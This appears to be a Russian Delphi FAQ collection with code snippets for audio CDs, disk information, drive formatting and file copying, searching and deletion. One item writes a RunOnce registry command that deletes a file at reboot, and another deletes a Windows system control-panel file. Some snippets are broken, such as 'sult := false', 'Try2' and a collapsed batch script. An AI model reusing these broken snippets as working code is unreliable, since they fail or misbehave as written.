 Trk := MCI_TMSF_TRACK(Position);
 Min := MCI_TMSF_MINUTE(Position);
 Sec := MCI_TMSF_SECOND(Position);
 Label1.Caption := Format('%.2d',[Trk]);
 Label2.Caption := Format('%.2d:%.2d',[Min,Sec]);
 end;
end;

К заголовку




Как узнать есть ли в заданном CD-ROM'е Audio CD?
Ответ:
Можно использовать функцию Windows API GetDriveType() чтобы определить является ли дисковод CD-ROM'мом. И функцию API
GetVolumeInformation() чтобы проверить VolumeName на равенство 'Audio CD'.
Пример:

function IsAudioCD(Drive : char) : bool;
var
        DrivePath : string;
        MaximumComponentLength : DWORD;
        FileSystemFlags : DWORD;
        VolumeName : string;
Begin
        sult := false;
        DrivePath := Drive + ':\';
        if GetDriveType(PChar(DrivePath)) <> DRIVE_CDROM then
                exit;
        SetLength(VolumeName, 64);
        GetVolumeInformation(PChar(DrivePath),PChar(VolumeName),
        Length(VolumeName),nil,MaximumComponentLength,FileSystemFlags,nil,0);
        if lStrCmp(PChar(VolumeName),'Audio CD') = 0 then
                result := true;
end;

function PlayAudioCD(Drive : char) : bool;
var
        mp : TMediaPlayer;
begin
        result := false;
        Application.ProcessMessages;
        if not IsAudioCD(Drive) then
                exit;
        mp := TMediaPlayer.Create(nil);
        mp.Visible := false;
        mp.Parent := Application.MainForm;
        mp.Shareable := true;
        mp.DeviceType := dtCDAudio;
        mp.FileName := Drive + ':';
        mp.Shareable := true;
        mp.Open;
        Application.ProcessMessages;
        mp.Play;
        Application.ProcessMessages;
        mp.Close;
        Application.ProcessMessages;
        mp.free;
        result := true;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
        if not PlayAudioCD('D') then
                ShowMessage('Not an Audio CD');
end;
К заголовку




Как узнать серийный номер аудио CD?
Ответ:
CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение
Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает
уникальную ID-строку.
Пример:

uses MMSystem, MPlayer;

procedure TForm1.Button1Click(Sender: TObject);
var
        mp : TMediaPlayer;
        msp : TMCI_INFO_PARMS;
        MediaString : array[0..255] of char;
        ret : longint;
begin
        mp := TMediaPlayer.Create(nil);
        mp.Visible := false;
        mp.Parent := Application.MainForm;
        mp.Shareable := true;
        mp.DeviceType := dtCDAudio;
        mp.FileName := 'D:';
        mp.Open;
        Application.ProcessMessages;
        FillChar(MediaString, sizeof(MediaString), #0);
        FillChar(msp, sizeof(msp), #0);
        msp.lpstrReturn := @MediaString;
        msp.dwRetSize := 255;
        ret := mciSendCommand(Mp.DeviceId, MCI_INFO, MCI_INFO_MEDIA_IDENTITY,
                        longint(@msp));
        if Ret <> 0 then
                begin
                        MciGetErrorString(ret, @MediaString, sizeof(MediaString));
                        Memo1.Lines.Add(StrPas(MediaString));
                end
        else
                Memo1.Lines.Add(StrPas(MediaString));
        mp.Close;
        Application.ProcessMessages;
        mp.free;
end;
end.

К заголовку




Получение информации о диске?
function GetVolumeInfoFVS(const Dir:string;
 var FileSystemName,VolumeName:string;var Serial:longint):boolean;

{Получение информации о диске
Dir - каталог или буква требуемого диска
FileSystemName - название файловой системы
VolumeName - метка диска
Serial - серийный номер диска
В случае ошибки функция возвращает false}

var
 root : pchar;
 res : longbool;
 VolumeNameBuffer,FileSystemNameBuffer : pchar;
 VolumeNameSize,FileSystemNameSize : DWord;
 VolumeSerialNumber,MaximumComponentLength,FileSystemFlags : DWORD;
 s : string;
 n : integer;
begin
 n:=pos(':',Dir);
 if n>0 then s:=copy(Dir,1,n+1) else s:=s+':';
 if s[length(s)]=':' then s:=s+'\';
 root:=pchar(s);
 getMem(VolumeNameBuffer,256);
 getMem(FileSystemNameBuffer,256);
 VolumeNameSize:=255;
 FileSystemNameSize:=255;
 res:=GetVolumeInformation(Root,VolumeNameBuffer,VolumeNameSize ,@VolumeSerialNumber, MaximumComponentLength,
FileSystemFlags ,FileSystemNameBuffer,FileSystemNameSize);
 Result:=res;
 VolumeName:=VolumeNameBuffer;
 FileSystemName:=FileSystemNameBuffer;
 Serial:=VolumeSerialNumber;
 freeMem(VolumeNameBuffer,256);
 freeMem(FileSystemNameBuffer,256);
end;

К заголовку




Форматирование
Используем ShFormatDrive:

--------------------------------------------------------------------------------
const SHFMT_DRV_A = 0;
const SHFMT_DRV_B = 1;

const SHFMT_ID_DEFAULT = $FFFF;

const SHFMT_OPT_QUICKFORMAT = 0;
const SHFMT_OPT_FULLFORMAT = 1;
const SHFMT_OPT_SYSONLY = 2;

const SHFMT_ERROR = -1;
const SHFMT_CANCEL = -2;
const SHFMT_NOFORMAT = -3;

function SHFormatDrive(hWnd : HWND;
Drive : Word;
fmtID : Word;
Options : Word) : Longint
stdcall; external 'Shell32.dll' name 'SHFormatDrive';

procedure TForm1.Button1Click(Sender: TObject);
var
FmtRes : longint;
begin
try
FmtRes:= ShFormatDrive(Handle,
SHFMT_DRV_A,
SHFMT_ID_DEFAULT,
SHFMT_OPT_QUICKFORMAT);
case FmtRes of
SHFMT_ERROR : ShowMessage('Error formatting the drive');
SHFMT_CANCEL :
ShowMessage('User canceled formatting the drive');
SHFMT_NOFORMAT : ShowMessage('No Format')
else
ShowMessage('Disk has been formatted');
end;
except
end;

end;
К заголовку




Как проверить готовность диска без появления окна ошибки Windows?
Вы можете использовать функцию Windows API SetErrorMode() для отключения диалога Window's critical Error.

 function IsDriveReady(DriveLetter : char) : bool;
  var
    OldErrorMode : Word;
    OldDirectory : string;
  Begin
    OldErrorMode := SetErrorMode(SEM_NOOPENFILEERRORBOX);
    GetDir(0, OldDirectory);
    {$I-}
      ChDir(DriveLetter + ':\');
    {$I+}
     if IoResult <> 0 then
      Result := False
      Else
      Result := True;
     ChDir(OldDirectory);
    SetErrorMode(OldErrorMode);
  end;

   procedure TForm1.Button1Click(Sender: TObject);
  begin
    if not IsDriveReady('A') then
      ShowMessage('Drive Not Ready') else
      ShowMessage('Drive is Ready');  end;
К заголовку




Как использовать форму из DLL?
Это файл Form.dpr, из которого получается DLL:

library Form;
uses
Classes,
Unit1 in 'Unit1.pas' {Form1};
exports
CreateMyForm,
DestroyMyForm;
end.

Это его Unit1:

unit Unit1;
interface
[раздел uses и определение класса Form1 поскипаны]
procedure CreateMyForm(AppHandle : THandle); stdcall;
procedure DestroyMyForm; stdcall;
implementation
{$R *.DFM}
procedure CreateMyForm(AppHandle : THandle);
begin
Application.Handle:=AppHandle;
Form1:=TForm1.Create(Application);
Form1.Show
end;
procedure DestroyMyForm;
begin
Form1.Free
end;
end.


Это UnitCall вызывающего EXE-шника:

unit UnitCall;
interface
[раздел uses и определение класса Form1 поскипаны]
procedure CreateMyForm(AppHandle : THandle); stdcall; external 'Form.dll';
procedure DestroyMyForm; stdcall; external 'Form.dll';
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
   CreateMyForm(Application.Handle)
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  DestroyMyForm
end;
end.
К заголовку




Как выровнить текст в Edit по правому краю?
TEdit не поддерживает выравниваение текста по центру и по правой стороне - лучше использовать компонент TMemo. Вам
понадобится запретить пользователю нажимать Enter, Ctrl-Enter и всевозможные комбинации клавиш со стрелками, чтобы избежать
появления нескольких сторк в Memo. Этого можно добиться и просматривая содержимое текста в TMemo в поисках кода возврата
каретки (13) и перевода строки(10) на событиях TMemo Change и KeyPress. Можно также заменять код возврата каретки на пробел -
для того чтобы позволять вставку из буфера обмена многострочного текста в виде одной строки.
Пример:

procedure TForm1.FormCreate(Sender: TObject);
begin
        Memo1.Alignment := taRightJustify;
        Memo1.MaxLength := 24;
        Memo1.WantReturns := false;
        Memo1.WordWrap := false;
end;

procedure MultiLineMemoToSingleLine(Memo : TMemo);
var
        t : string;
begin
        t := Memo.Text;
        if Pos(#13, t) > 0  then
                begin
                        while Pos(#13, t) > 0 do
                                delete(t, Pos(#13, t), 1);
                        while Pos(#10, t) > 0 do
                                delete(t, Pos(#10, t), 1);
                        Memo.Text := t;
                end;
end;

procedure TForm1.Memo1Change(Sender: TObject);
begin
        MultiLineMemoToSingleLine(Memo1);
end;

procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
begin
        MultiLineMemoToSingleLine(Memo1);
end;

К заголовку




Как сделать так чтобы ширина текста не превышала ширину TEdit'а?
В примере приведено два способа ограничить длинну текста в TEdit так чтобы она не превышала ширину клиентской области окна
TEdit'а и не появлялась прокрутка текста. Первый способ устанавливает свойство TEdit'а MaxLength равным числу букв "W",
которые поместятся в TEdit. "W" выбрана потому, что является, наверное, самой широкой буквой в любом шрифте. Этот метод
сносно работает для шрифтов с фиксированной шириной букв, но для шрифтов с переменной шириной букв вряд ли сгодится.
Второй способ перхватывает событие KeyPress TEdit'а и измеряет ширину уже введенного текста и ширину нового символа. Если
ширина больше чем клиентская область TEdit'а новый символ отбрасывается и вызывается MessageBeep.
Пример:

procedure TForm1.FormCreate(Sender: TObject);
var
        cRect : TRect;
        bm : TBitmap;
        s : string;
begin
        Windows.GetClientRect(Edit1.Handle, cRect);
        bm := TBitmap.Create;
        bm.Width := cRect.Right;
        bm.Height := cRect.Bottom;
        bm.Canvas.Font := Edit1.Font;
        s := 'W';
        while bm.Canvas.TextWidth(s) < CRect.Right do
        s := s + 'W';
        if length(s) > 1 then
        begin
                Delete(s, 1, 1);
                Edit1.MaxLength := Length(s);
        end;
end;

{Другой вариант}

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
        cRect : TRect;
        bm : TBitmap;
begin
        if ((Ord(Key) <> VK_TAB) and (Ord(Key) <> VK_RETURN) and
                (Ord(Key) <> VK_LEFT) and (Ord(Key) <> VK_BACK)) then
        begin
                Windows.GetClientRect(Edit1.Handle, cRect);
                bm := TBitmap.Create;
                bm.Width := cRect.Right;
                bm.Height := cRect.Bottom;
                bm.Canvas.Font := Edit1.Font;
                if bm.Canvas.TextWidth(Edit1.Text + Key) > CRect.Right then
                begin
                        Key := #0;
                        MessageBeep(-1);
                end;
                bm.Free;
        end;
end;
К заголовку




Как узнать положение курсора в TEdit?
Edit1.SelStart
--------------------------------------------------------------------------------
LLL   (09.09.01 12:57)
Что-то не выходит SelStart?
--------------------------------------------------------------------------------
Anatoly Podgoretsky ©   (09.09.01 13:25)
Что не выходит?
Вот выписка из хелпа

Read SelStart to determine the position of the first selected character, where 0 indicates the first character.
If there is no selected text,
SelStart indicates the position of the cursor.
К заголовку




Почему непpавильно pаботает функция StrToFloat?
Почему то неправильно работает функция StrToFloat.
Пишу даже прямо StrToFloat('32.34'), к примеру, получаю эксепшн "'32.34' is not valid float"
Если пишу число без десятичной точки, то все ОК.

А какой у тебя DecimalSeparator? В Russian settings почему-то
по умолчанию считается, что разделитеь дроби - запятая.

Пеpеустанови пpи запуске пpогpаммы DecimalSeparator := '.';
Или пользуйся этой функцией так:
StrToFloat('32,24');
К заголовку




Как избавиться от сообщения об ошибке 216?
Hужно перед закрытием программы сказать IsConsole:=True и телемаркет.

Сообщение об ошибке не появится. Конечно, она никуда не девается, просто диалог не показывается. Hо это нормально. Если при
выходе из программы происходит сабж, то это происходит уже после всего вашего кода (вообще-то она происходит при выгрузке
библиотек) и все данные уже сохранены. Юзеры довольны.
К заголовку




Как обрабатывать ошибки в дельфовых COM-объектах?
Как обрабатывать ошибки в дельфовых COM-объектах ?

TCustomBasePlugObject = class ( TAutoObject, IUnknown, IDispatch )
...
protected
function SafeCallException(ExceptObject: TObject; ExceptAddr:
Pointer): {$IFDEF _D4_}HResult{$ELSE}Integer{$ENDIF}; override;
...

function TCustomBasePlugObject.SafeCallException;
var ExMsg:String;
begin
Result := inherited SafeCallException(ExceptObject, ExceptAddr);
Try
if ExceptObject is EAbort then exit;
ExMsg := 'Exception: PlugObject="'+ClassName+'"';
if ExceptObject is Exception then
begin
ExMsg := ExMsg + #13' Message: '#13' '+
Exception(ExceptObject).Message+
#13' Module:'+GetModuleFileName+
#13' Adress:'+Format('%p',[ExceptAddr]);
if (ExceptObject is EOleSysError) and
(EOleSysError(ExceptObject).ErrorCode < 0)
then ExMsg := ExMsg + #13'
OleSysError.ErrorCode='+IntToStr(EOleSysError(ExceptObject).ErrorCode);
end;
toLog(ExMsg);
Except
End;
end;
К заголовку




Почему выражение sum(if(...,...,0)) всегда равно 0?
Выражение в QRExpr : Sum(if(Query1.CartonID = 'SI', Query1.Caliper, 0)) всегда возвращает 0.
Измените 0 на 0.0 и функция заработает правильно.
К заголовку




Функции Delphi ParamCount и ParamStr работают неверно
Функции Delphi ParamCount и ParamStr работают неверно,
поскольку пробел они считают разделителем параметров,
 а пробел может содержаться, например, в названии файла.
 Этой ошибки не происходит, если в начале и в конце параметра стоят кавычки.
 А еще можно воспользоваться переменной CmdLine.
 В ней хранится командная строка со всеми параметрами без каких-либо изменений. Пример:

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.Caption := CmdLine;
end;

К заголовку




Записать (читать) в файл переменную
А как записать (читать) в файл переменную, допустим, строкового типа, можно
ли это сделать, как в Паскале?
записать (читать) в файл переменную

=== 1 ===
.....
var f : TextFile;

begin
AssignFile(f,'c:\qqq.txt');
Rewrite(f);
Writeln(f,'qqqqq');
CloseFile(f);

end;

Это как в паскале.
Можно еще так.
.....
var s : TStringList;
begin
s := TStringList.Create;
s.Text := 'qqqqqqq';
s.SaveToFile('c:\qqq.txt');
s.Free;
end;

=== 2 ===
Если строка короткая, то все будет так же как в
Паскале, если длинная, то можно обмануть Дельфи, чтоб
писал строку вместо указателя:

writeln(f,pointer(MyLongString)^)

Есть еще несколько способов, например:

with TStringlist.create do
try
text:=MyLongStringName;
SaveToFile(MyFileName);
finally
free;
end;
К заголовку




Как выяснить дату последнего изменения файла?
function GetFileDate(FileName: string): string;
var
  FHandle: Integer;
begin
  FHandle := FileOpen(FileName, 20);
  Try2
    Result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));
  finally
    FileClose(FHandle);
  end;
end;
К заголовку




Как копиpовать файлы?
=== 1 ===
procedure CopyFile(const FileName, DestName: TFileName);
var
  CopyBuffer: Pointer; { buffer for copying }
  TimeStamp, BytesCopied: Longint;
  Source, Dest: Integer; { handles }
  Destination: TFileName; { holder for expanded destination name }
const
  ChunkSize: Longint = 8192; { copy in 8K chunks }
begin
  Destination := ExpandFileName(DestName); { expand the destination path }
  if HasAttr(Destination, faDirectory) then { if destination is a directory...
}
    Destination := Destination + '\' + ExtractFileName(FileName); { ...clone
file name }
  TimeStamp := FileAge(FileName); { get source's time stamp }
  GetMem(CopyBuffer, ChunkSize); { allocate the buffer }
  try
    Source := FileOpen(FileName, fmShareDenyWrite); { open source file }
    if Source < 0 then raise EFOpenError.Create(FmtLoadStr(SFOpenError,
[FileName]));
    try
      Dest := FileCreate(Destination); { create output file; overwrite existing
}
      if Dest < 0 then raise EFCreateError.Create(FmtLoadStr(SFCreateError,
[Destination]));
      try
        repeat
          BytesCopied := FileRead(Source, CopyBuffer^, ChunkSize); { read chunk
}
          if BytesCopied > 0 then { if we read anything... }
            FileWrite(Dest, CopyBuffer^, BytesCopied); { ...write chunk }
        until BytesCopied < ChunkSize; { until we run out of chunks }
      finally
        FileClose(Dest); { close the destination file }

{        SetFileTimeStamp(Destination, TimeStamp);} { clone source's time stamp
}{!!!}
      end;
    finally
      FileClose(Source); { close the source file }
    end;
  finally
    FreeMem(CopyBuffer, ChunkSize); { free the buffer }
  end;
FileSetDate(Dest,FileGetDate(Source));
end;

Anton Kartamyshev
(2:5020/211.15)

=== 2 ===
  function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint;
  var
    InFS,OutFS: TFileStream;
  begin
    InFS  := TFileStream.Create( InFile,  fmOpenRead );
    OutFS := TFileStream.Create( OutFile, fmCreate   );
    InFS.Seek( From, soFromBeginning );
    Result := OutFS.CopyFrom( InFS, Count );
    InFS.Free;
    OutFS.Free;
  end;

    try..except pасставляются по вкусу, а навоpоты вpоде установки
    атpибутов,даты и вpемени файла и т.п. для ясности удалены, да и не нужны
    они в основном никогда.

=== 3 ===
Можно ли скопировать группу файлов, используя стандартный диалог с анимацией Копирование Файлов, который
использует "Проводник" (Explorer)?

В следующем примере используется функция SHFileOperation для копирования группы файлов и показа
анимированного диалога. Вы можете использовать также следующие флаги для копирования, удаления, переноса и
переименования файлов.
             TO_COPY
             FO_DELETE
             FO_MOVE
             FO_RENAME

Примечание: буфер, содержащий имена файлов для копирования должен заканчиваться двумя нулевыми
символами.

             uses ShellAPI;
             procedure TForm1.Button1Click(Sender: TObject);
             var
              Fo      : TSHFileOpStruct;
              buffer  : array[0..4096] of char;
              p       : pchar;

             begin
               FillChar(Buffer, sizeof(Buffer), #0);
               p := @buffer;
               p := StrECopy(p, 'C:\DownLoad\1.ZIP') + 1;
               p := StrECopy(p, 'C:\DownLoad\2.ZIP') + 1;
               p := StrECopy(p, 'C:\DownLoad\3.ZIP') + 1;
               StrECopy(p, 'C:\DownLoad\4.ZIP');

               FillChar(Fo, sizeof(Fo), #0);
               Fo.Wnd    := Handle;
               Fo.wFunc  := FO_COPY;
               Fo.pFrom  := @Buffer;
               Fo.pTo    := 'D:\';
               Fo.fFlags := 0;
               if ((SHFileOperation(Fo) <> 0) or
                   (Fo.fAnyOperationsAborted <> false)) then
                 ShowMessage('Cancelled')
             end;
К заголовку




Как можно осуществить чтение запись?
{

В следующем примере показано как можно осуществить чтение
и запись данных в/из файла. Данный пример предполагается
в первую очередь использовать тем, кто делает первые шаги
в вопросах чтения/записи. Для получения дополнительной
информации о каждом объекте, обратитесь к электронной справке.
В коде присутствует минимальная обработка исключительных
ситуаций, но она никоим образом не является законченным решением.


Для оформления программы необходимо установить на форме
компонент TMemo с заголовком Запись, и кнопку с заголовком
Чтение. Запустите программу, поместите несколько строк в "memo",
после чего нажмите на кнопку Запись. Очистите "memo", и нажмите Чтение.
}

procedure TForm1.BtnWriteClick(Sender: TObject);

var
FileStream: TFileStream;
Writer : TWriter;
I : Integer;
begin
FileStream := TFileStream.Create ('c:\delphi\projects\delta40\fileio\stream.txt',
fmCreate or fmOpenWrite or fmShareDenyNone);
Writer := TWriter.Create (FileStream, $ff);
Writer.WriteListBegin;
for I := 0 to Memo1.Lines.Count - 1 do Writer.WriteString (Memo1.Lines[I]);
Writer.WriteListEnd;
Writer.Destroy;
FileStream.Destroy;
end;


procedure TForm1.BtnReadClick(Sender: TObject);

var
FileStream: TFileStream;
Reader : TReader;
begin
{ пробуем открыть несуществующий файл
}
try
FileStream := TFileStream.Create ('c:\delphi\projects\delta40\fileio\bogus.txt',
fmOpenRead);
except
; { Destroy не нужен, поскольку Create потерпела неудачу }
end;


FileStream := TFileStream.Create ('c:\delphi\projects\delta40\fileio\stream.txt',
fmOpenRead);
Reader := TReader.Create (FileStream, $ff);
Reader.ReadListBegin;
Memo1.Lines.Clear;
while not Reader.EndOfList do Memo1.Lines.Add (Reader.ReadString);
Reader.ReadListEnd;
Reader.Destroy;
FileStream.Destroy;
end;
К заголовку




Как найти файл на диске?
Не правда ли, знакомая ситуация? Необходимо сделать так, чтобы программа искала какой-либо файл... Все, хорошо, если у Вас для
этого есть специальная компонента (кстати, не входящая в стандартный набор). А если ее нет? Здесь придется писать алгоритм
поиска файла.

В Delphi существует две функции для поиска файлов. Это -

function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;
function FindNext(var F: TSearchRec): Integer;

Разберемся, что же означают эти функции. Для начала возьмем первую - FindFirst. Разберемся сначала с переменными.

Path - это переменная, как видно из названия, показывающая путь к директории, где будет производиться поиск файла. Кроме этого, в
эту переменную входит также и имя файла (файлов), которые должны быть найдены. Причем, в названии файла можно пользоваться
такими символами: * (звездочка) и ? (знак вопроса). Значения этих символов стандартны: знак вопроса - любой допустимый символ,
звездочка - комбинация любых допустимых символов. Под допустимыми символами я понимаю символы, которые могут
использоваться в операционной системе для обозначения имен файлов.

Пример использования переменной Path:


Path:='c:\*.*'; {поиск файлов с любым именем на в корневой директории диска C:}

Path:='e:\audio\song3?.wav'; {поиск файлов в директории E:\AUDIO с именем song3?.wav (это могут файлы, например, song30.wav,
song31.wav, song3f.wav и другие)}

Обратите внимание! Недопустимо использовать символы * и ? в названии директории. Эти символы могут использоваться только в
имени файла.

Attr - эта переменная задает тип файлов, которые будут найдены. Тип переменной - Integer. Чтобы не мучаться с запоминанием
цифр, рекомендую Вам запомнить такие слова:

faReadOnly - файлы, у которых установлен аттрибут "Только для чтения".
faHidden - файлы, у которых установлен атрибут "Скрытые".
faSysFile - файлы, у которых установлен атрибут "Системный".
faArchive - файлы, у которых установлен атрибут "Архивный".
faDirectory - директория. То есть поиск поддиректорий в директории.
faAnyFile - любой файл (в том числе и faDirectory, и faVolumeID).

Теперь с этими словами можно обращаться как с цифрами - складывать их и вычитать. Например:

Attr:=faHidden+faSysFile; {поиск Скрытых и Системных файлов}

Attr:=faAnyFile-faReadOnly; {поиск всех файлов, кроме файлов, имеющих атрибут "Только для чтения"}

Однако учтите, что при применении вычитания результат может получиться несколько неожиданным, поэтому им лучше не
злоупотреблять.

Теперь разберемся, что же выдает функция. Функция возвращает 0, если была выполнена успешно, или, в противном случае, код
ошибки. Кроме того, если функция нашла файл, удовлетворяющий и условиям переменной Path, и условиям переменной Attr, то она
записывает результат в переменную F (типа TSearchRec), которая, естественно, должна быть объявлена командой Var.

Тип TSearchRec можно представить как:

type TSearchRec = Record
  Time: Integer;
  Size: Integer;
  Attr: Integer;
  Name: TFileName;
  ExcludeAttr: Integer;
  FindHandle: THandle;
  FindData: TWin32FindData;
end;

Теперь разберемся, что означает функция FindNext.

Если команда FindFirst нашла какой-либо файл, то, возможно, если имя файла задано с символами * и/или ?, есть еще один или
несколько файлов, удовлетворяющих условию поиска. В этом случае и используется команда FindNext. Функция также возвращает 0,
если была выполнена успешно, или, в противном случае, код ошибки. И также записывает данные в переменную F.

Теперь, зная эти две команды, можно составить и алгоритм поиска заданного файла.

Простейший алгоритм:

Var F: TSearchRec;
    Path: String;
    Attr: Integer;
begin
  Path:='e:\audio\album31\*.wav'; {Искать все файлы в заданной директории с расширение WAV,}
  Attr:=faReadOnly+faArchive;     {которые имеют атрибуты "Только для чтения" и "Архивный"}

  FindFirst(Path,Attr,F);

  If F.Name<>'' then begin       {Если хотя бы один файл найден, то продолжить поиск}
    ListBox1.Items.Add(F.Name);  {Добавление в TListBox имени найденного файла}
    While FindNext(F)=0 do ListBox1.Items.Add(F.Name);
  end;
  FindClose(F);
end.

Обратите внимание на процедуру FindClose. Она освобождает память, которую заняли функции FindFirst и FindNext.
К заголовку




Как переместить файл или папку?
Вы можете использовать функцию MoveFile() из Windows API для пермещения файла или папки. Если вы перемещаете файл, то он
должен отсуствовать в папке назначения. Если вы перемещаете папку, все папки в данной папке также перемещаются.

Пример 1 - премещение файла:
MoveFile('C:\Source\sourcefile.txt','C:\Dest\destfile.txt');

Пример 2 - премещение папки:
MoveFile('C:\Source','C:\Dest');
К заголовку




Как перемещаться по подкаталогам данного каталога?
Нужно использовать функции Delphi FindFirst() и FindNext(), чтобы создать чтобы создать
список подкаталогов данной директории. Для каждой поддиректории с помощью тех же
функций FindFirst() и FindNext() снова получите список поддиректорий и так далее.
Пример:
procedure GetDirectories(const DirStr : string;
                         ListBox : TListBox);
var
  DirInfo: TSearchRec;
  r : Integer;
begin
  r := FindFirst(DirStr + '\*.*', FaDirectory, DirInfo);
  while r = 0 do  begin
    Application.ProcessMessages;
    if ((DirInfo.Attr and FaDirectory = FaDirectory) and
         (DirInfo.Name <> '.') and
         (DirInfo.Name <> '..'))  then
      ListBox.Items.Add(DirStr + '\' + DirInfo.Name);
    r := FindNext(DirInfo);
  end;
  SysUtils.FindClose(DirInfo);
end;

procedure GetFiles(const DirStr : string;
                   ListBox : TListBox);
var
  DirInfo: TSearchRec;
  r : Integer;
begin
  r := FindFirst(DirStr + '\*.*', FaAnyfile, DirInfo);
  while r = 0 do  begin
    Application.ProcessMessages;
    if ((DirInfo.Attr and FaDirectory <> FaDirectory) and
        (DirInfo.Attr and FaVolumeId <> FaVolumeID)) then
      ListBox.Items.Add(DirStr + '\' + DirInfo.Name);
    r := FindNext(DirInfo);
  end;
  SysUtils.FindClose(DirInfo);
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  i : integer;
begin
  ListBox1.Items.Clear;
  ListBox2.Items.Clear;
  ListBox1.Items.Add('C:\Delphi');
  GetDirectories('C:\Delphi', ListBox1);
  i := 1;
  while i < ListBox1.Items.Count do begin
    GetDirectories(ListBox1.Items[i], ListBox1);
    Inc(i);
  end;
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
  ListBox2.Clear;
  GetFiles(ListBox1.Items[ListBox1.ItemIndex],
           ListBox2);
end;
Примечание : Не рекомендуется использование компонентов Memo или StringList для хранения
 списков каталогов и файлов, так как размер элементов для этих компонентов ограничен, а списки
каталогов и файлов могут достигать большого размера. Целесообразно создавать временные файлы
для хранения этих списков.
К заголовку




Как получить короткий путь файла если имеется длинный?
GetShortPath()
К заголовку




Как получить список файлов в ListView как в проводнике?
procedure TForm1.Button1Click(Sender: TObject);
var
ListItem: TListItem;
sr:tsearchrec;
NewColumn: TListColumn;
begin
NewColumn := ListView1.Columns.Add;
NewColumn := ListView1.Columns.Add;//добавдяются колонки
if FindFirst('*.*', faAnyFile-faDirectory-faVolumeId, sr) = 0 then
begin
 ListItem:=ListView1.Items.Add;//создается объект
 ListItem.Caption:=sr.name;
 ListItem.SubItems.Add(inttostr(sr.size));
 ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
 while FindNext(sr) = 0 do begin
   ListItem:=ListView1.Items.Add;
   ListItem.Caption:=sr.name;
   ListItem.SubItems.Add(inttostr(sr.size));
   ListItem.SubItems.Add(datetimetostr(FileDateToDateTime(sr.time)));
 end;
 FindClose(sr);
end;
end;
К заголовку




Как правильно вызвать функцию DeleteFile()?
Функция DeleteFile() объявлена и в модуле Windows, и в модуле SysUtils. Функция из Windows принимает тип PChar, а функция из
SysUtils - тип string.
procedure TForm1.Button1Click(Sender: TObject);
var
  s : string;
  a : array[0..MAX_PATH - 1] of char;
begin
  s := 'C:\SomeFile';
  SysUtils.DeleteFile(s);
  a := 'C:\SomeFile';
  Windows.DeleteFile(@a);
end;
К заголовку




Как правильно при выводе на экран обрезать имя файла по длине?
Для этого есть DrawText с флагом DT_PATH_ELLIPSIS и, при желании, DT_MODIFYSTRING.
К заголовку




Как прочитать весь файл (EOF не один)?
В текстовом файле, который обрабатывает программа, неоднократно
встречается признак конца файла (как этот файл создавался никто и
понятия не имеет), и как следствие если читать файл while not (eof), то
он будет прочитан до первого встреченного символа конца файла :(.

Как прочитать весь файл?

=== 1 ===

Перепишем ваш файл a.dat в файл b.dat, удалив признаки конца файла:

var
  f1,f2 :file of Byte;
  a :Byte;
  i :Longint;
begin
  {$I-}
  AssignFile(f1, 'a.dat');
  AssignFile(f2, 'b.dat');
  Reset(f1);
  Rewrite(f2);
  for i := 1 to FileSize(f1) do
  begin
     Read(f1, a);
     if a <> 26 then Write(f2, a);
  end;
  CloseFile(f1);
  CloseFile(f2);
end.

=== 2 ===

Используйте TFileStream.
К заголовку




Как стереть ехе-файл во время его исполнения?
Это невозможно. Вы можете стереть его во время следующего запуска Windows, добавив ключ RunOnce:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Пример:

Uses
       Registry;
     procedure TForm1.Button1Click(Sender: TObject);
     var
       reg: TRegistry;
     begin
       reg := TRegistry.Create;
       with reg do begin
        RootKey := HKEY_LOCAL_MACHINE;

       LazyWrite := false;
       OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',false);
       WriteString('Delete Me!','command.com /c del FILENAME.EXT');
     CloseKey;
     free;
       end;
     end;


Источник: Дельфи. Вокруг да около.

Комментарий от "Anatoly Podgoretsky"
Можно еще через bat файл

:Repeatdel "C:\Path\Filename.EXE"if exist "UNSETUP.EXE" goto Repeatdel "C:\Path\Del.bat"

Или прописать в C:\Windows\wininit.ini следующее, для этого воспользоваться компонентом TIniFile

wininit.ini[rename]NUL=filename-to-delete
К заголовку




Как удалить каталог вместе со всеми содержащимися в нем файлами?
В примере стираются все файлы в каталоге и сам каталог. Чтобы удалить файл, помечанные только для чтения (read only) и занятые
другими программами в момент удаления - напишите дополнительную процедуру.
procedure TForm1.Button1Click(Sender: TObject);
var
        DirInfo: TSearchRec;
        r: integer;
begin
        r := FindFirst('C:\Download\*.*', FaAnyfile, DirInfo);
        while r = 0 do
        begin
                if ((DirInfo.Attr and FaDirectory <> FaDirectory) and
                        (DirInfo.Attr and FaVolumeId <> FaVolumeID)) then
                if DeleteFile(pChar('C:\Download\' + DirInfo.Name))= false then
                        ShowMessage('Unable to delete: C:\Download\'+DirInfo.Name);
                r := FindNext(DirInfo);
        end;
        SysUtils.FindClose(DirInfo);
        if RemoveDirectory('C:\Download\') = false then
                ShowMessage('Unable to delete directory: C:\Download\');
end;
К заголовку




Как удалить файл в корзину (Recycle Bin)?
program del;

uses
ShlObj;

//function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall;

Var T:TSHFileOpStruct;
P:String;
begin
P:='C:\Windows\System\EL_CONTROL.CPL';
With T do
Begin
Wnd:=0;
wFunc:=FO_DELETE;
pFrom:=Pchar(P);
fFlags:=FOF_ALLOWUNDO
End;
SHFileOperation(T);
End.
К заголовку




Определение размера файла?
function GetFileSize(const FileName:string):longint;
{Определение размера файла}
var
 SearchRec:TSearchRec;
begin
 if FindFirst(ExpandFileName(FileName),faAnyFile,SearchRec)=0
 then Result:=SearchRec.Size
 else Result:=-1;
 FindClose(SearchRec);
end;
